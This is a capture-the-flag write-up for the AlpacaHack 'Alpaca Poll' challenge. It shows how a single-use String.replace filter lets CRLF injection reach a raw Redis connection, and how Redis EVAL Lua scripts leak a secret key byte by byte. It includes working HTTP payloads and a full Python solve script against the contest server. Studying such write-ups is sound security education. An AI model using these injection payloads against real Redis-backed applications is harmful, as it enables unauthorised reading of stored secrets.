Alpaca Poll
Table of Contents
Overview
- 42 solves / 146 points
- Author: @st98
- Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
Background
Dog, cat, and alpaca. Which animal is your favorite?
Enumeration
Index page:
In here, we can vote for our favorite animal. Let’s try that!
Burp Suite HTTP history:
When we click one of those animals, it’ll send a POST request to /vote
with parameter animal
.
To have a better understanding in this web application, we should read its source code!
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|13:52:22(HKT)]
└> file alpaca-poll.tar.gz
alpaca-poll.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 163840
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|13:52:24(HKT)]
└> tar xvzf alpaca-poll.tar.gz
alpaca-poll/
alpaca-poll/compose.yaml
alpaca-poll/web/
alpaca-poll/web/index.js
alpaca-poll/web/package.json
alpaca-poll/web/package-lock.json
alpaca-poll/web/Dockerfile
alpaca-poll/web/static/
alpaca-poll/web/static/style.css
alpaca-poll/web/static/index.html
alpaca-poll/web/static/alpaca.svg
alpaca-poll/web/redis.conf
alpaca-poll/web/.dockerignore
alpaca-poll/web/db.js
alpaca-poll/web/start.sh
After reading the source code a little bit, we can know that:
- This web application is written in JavaScript with Express.js framework
- The DBMS (Database Management System) is Redis
First off, what’s our objective in this challenge? Where’s the flag?
In web/index.js
and web/db.js
, we can see that the flag is in the Redis database:
web/index.js
:
import { init, vote, getVotes } from './db.js';
[...]
const FLAG = process.env.FLAG || 'Alpaca{dummy}';
[...]
await init(FLAG); // initialize Redis
web/db.js
:
import net from 'node:net';
function connect() {
return new Promise(resolve => {
const socket = net.connect('6379', 'localhost', () => {
resolve(socket);
});
});
}
function send(socket, data) {
console.info('[send]', JSON.stringify(data));
socket.write(data);
return new Promise(resolve => {
socket.on('data', data => {
console.info('[recv]', JSON.stringify(data.toString()));
resolve(data.toString());
})
});
}
const ANIMALS = ['dog', 'cat', 'alpaca'];
[...]
export async function init(flag) {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
message += `SET ${animal} ${votes}\r\n`;
}
message += `SET flag ${flag}\r\n`; // please exfiltrate this
await send(socket, message);
socket.destroy();
}
As we can see, the init
function inserted the key flag
to the Redis database, alongside with 3 different animals.
With that said, our goal is to somehow read the key flag
in the Redis database.
In this web application, there are 3 routes, which are GET /
, POST /votes
, and GET /votes
.
In GET route /votes
, we can get all the animals’ vote:
import { init, vote, getVotes } from './db.js';
[...]
app.get('/votes', async (req, res) => {
return res.json(await getVotes());
});
const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
message += `GET ${animal}\r\n`;
}
const reply = await send(socket, message);
socket.destroy();
let result = {};
for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
result[ANIMALS[index]] = parseInt(match[1], 10);
}
return result;
}
Function getVotes
is basically sending a raw TCP packet to the Redis server. In the TCP data, it has 3 Redis commands:
GET dog
GET cat
GET alpaca
After sending those commands, the function uses regular expression (Regex) to get the animal’s vote result.
In POST route /vote
, we can see that it has 1 really weird comment:
import { init, vote, getVotes } from './db.js';
[...]
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
As we can see, it replaces our animal
POST parameter’s value \r
(Carriage Return) and \n
(Line Feed) character with an empty string.
After that, it calls function vote
:
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
In here, it sends a raw TCP packet to the Redis server with the following Redis commands:
INCR <animal>
Hmm… Since we can control the animal
variable, maybe we can inject our own Redis commands?
To do so, we can leverage something called CRLF (Carriage Return Line Feed) injection.
But wait, isn’t the POST route /vote
will replace our \r\n
character?
Well, in JavaScript, method replace
will only replace once:
A string pattern will only be replaced once. To perform a global search and replace, use a regular expression with the
g
flag, or usereplaceAll()
instead. - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#description
Let’s test it!
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|14:00:48(HKT)]
└> node
[...]
> var animal = 'dog\r\n\r\nOUR_INJECTED_REDIS_COMMAND_HERE';
undefined
> animal.replace('\r', '').replace('\n', '');
'dog\r\nOUR_INJECTED_REDIS_COMMAND_HERE'
As expected, it only replaces once!
Exploitation
Armed with the above information, POST route /vote
is vulnerable to CRLF injection.
To confirm it, we can setup a local testing environment via Docker:
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|14:20:54(HKT)]
└> cd alpaca-poll
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll/alpaca-poll)-[2024.12.01|14:20:57(HKT)]
└> docker compose up --build
[...]
Attaching to alpaca-poll-1
alpaca-poll-1 | [send] "SET dog 2\r\nSET cat 76\r\nSET alpaca 10000\r\nSET flag Alpaca{REDACTED}\r\n"
alpaca-poll-1 | [recv] "+OK\r\n+OK\r\n+OK\r\n+OK\r\n"
alpaca-poll-1 | server listening on 3000
And send the following POST request:
POST /vote HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
animal=dog%0d%0a%0d%0afoobar
Note:
%0d%0a
is URL encoded CRLF character.
Log messages:
alpaca-poll-1 | [send] "INCR dog\r\nfoobar\r\n"
alpaca-poll-1 | [recv] ":5\r\n-ERR unknown command 'foobar', with args beginning with: \r\n"
Yep! We totally injected our own Redis command!
Hmm… But how should we exfiltrate the key flag
?
Maybe we could copy the key flag
and overwrite the animal key, such as dog
, cat
?
According to the Redis commands documentation, we can use the COPY
command with option REPLACE
to overwrite the destination key.
So, maybe we can get the flag by sending the following requests?
POST /vote HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
animal=dog%0d%0a%0d%0aCOPY+flag+cat+REPLACE
GET /votes HTTP/1.1
Host: localhost:3000
Response:
{"dog":6,"cat":10000}
Log message:
alpaca-poll-1 | [send] "GET dog\r\nGET cat\r\nGET alpaca\r\n"
alpaca-poll-1 | [recv] "$1\r\n6\r\n$16\r\nAlpaca{REDACTED}\r\n$5\r\n10000\r\n"
The key cat
is now overwritten with the key flag
. However, because the server will only match digits in the regex pattern, the flag will not get matched:
export async function getVotes() {
[...]
let result = {};
for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
result[ANIMALS[index]] = parseInt(match[1], 10);
}
return result;
}
So… In order to exfiltrate the flag, we need to somehow convert the flag characters into digits. How??
In the web/start.sh
, we can see that the Redis configuration actually disabled some commands:
#!/bin/bash
redis-server ./redis.conf &
[...]
web/redis.conf
:
###############################################################################
# I added L1082-1112 to disable dangerous commands and changed some configs to change directories used by Redis.
# Nothing else has been changed from the default config installed with `apt install -y redis`.
###############################################################################
[...]
# disable @dangerous commands
rename-command flushdb ""
rename-command acl ""
rename-command slowlog ""
rename-command debug ""
rename-command role ""
[...]
After looking around in the Redis commands documentation, the EVAL
command caught my eyes:
Invoke the execution of a server-side Lua script.[…]
Huh, it can execute Lua script?
If we look at the Redis configuration, we can see that command EVAL
is NOT disabled!
Therefore, by using command EVAL
, we can use Lua script to convert the flag characters into digits!
To do so, we can convert the flag character to byte, then overwrite the animal key with that byte, and finally get the byte via GET route /votes
!
Let’s test this in the Docker container!
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|14:45:48(HKT)]
└> docker container list
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc9d957db81c alpaca-poll-alpaca-poll "docker-entrypoint.s…" 24 minutes ago Up 24 minutes 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp alpaca-poll-alpaca-poll-1
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|14:45:52(HKT)]
└> docker exec -it cc9d957db81c /bin/bash
I have no name!@cc9d957db81c:/app$ redis-cli
127.0.0.1:6379>
127.0.0.1:6379> EVAL "local flag = redis.call('GET', KEYS[1]); local flagByte = string.byte(flag, 1); return flagByte" 1 flag
(integer) 65
In here, we get the key flag
, then use string.byte
to convert the first character of flag
to byte. As we can see, it’s integer 65! Which means this value will be matched in the regex pattern.
Let’s try to overwrite an animal’s key and see if it’s work:
127.0.0.1:6379> EVAL "local flag = redis.call('GET', KEYS[1]); local flagByte = string.byte(flag, 1); redis.call('SET', KEYS[2], flagByte)" 2 flag cat
(nil)
GET /votes HTTP/1.1
Host: localhost:3000
Response:
{"dog":6,"cat":65,"alpaca":10000}
Yep! It worked!
With that said, we can write a Python script to leak the flag byte by byte!
solve.py
#!/usr/bin/env python3
import requests
class Solver:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.POST_VOTE_ENDPOINT = f'{baseUrl}/vote'
self.GET_VOTES_ENDPOINT = f'{baseUrl}/votes'
def solve(self):
flag = str()
for position in range(1, 100):
data = { 'animal': f'''dog
EVAL "local flag = redis.call('GET', KEYS[1]); local flagByte = string.byte(flag, {position}); redis.call('SET', KEYS[2], flagByte)" 2 flag cat'''}
requests.post(self.POST_VOTE_ENDPOINT, data=data)
flagCharacter = chr(requests.get(self.GET_VOTES_ENDPOINT).json()['cat'])
print(f'[*] Leaked character {flagCharacter} at position {position}', end='\r')
flag += flagCharacter
isLastCharacter = True if flagCharacter == '}' else False
if isLastCharacter:
break
print(f'\n[+] Flag: {flag}')
if __name__ == '__main__':
# baseUrl = 'http://localhost:3000' # for local testing
baseUrl = 'http://34.170.146.252:10463'
solver = Solver(baseUrl)
solver.solve()
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-7-(Web)/Alpaca-Poll)-[2024.12.01|15:02:40(HKT)]
└> python3 solve.py
[*] Leaked character } at position 26
[+] Flag: Alpaca{ezotanuki_mofumofu}
- Flag:
Alpaca{ezotanuki_mofumofu}
Conclusion
What we’ve learned:
- CRLF injection and exfiltrating Redis key value via
EVAL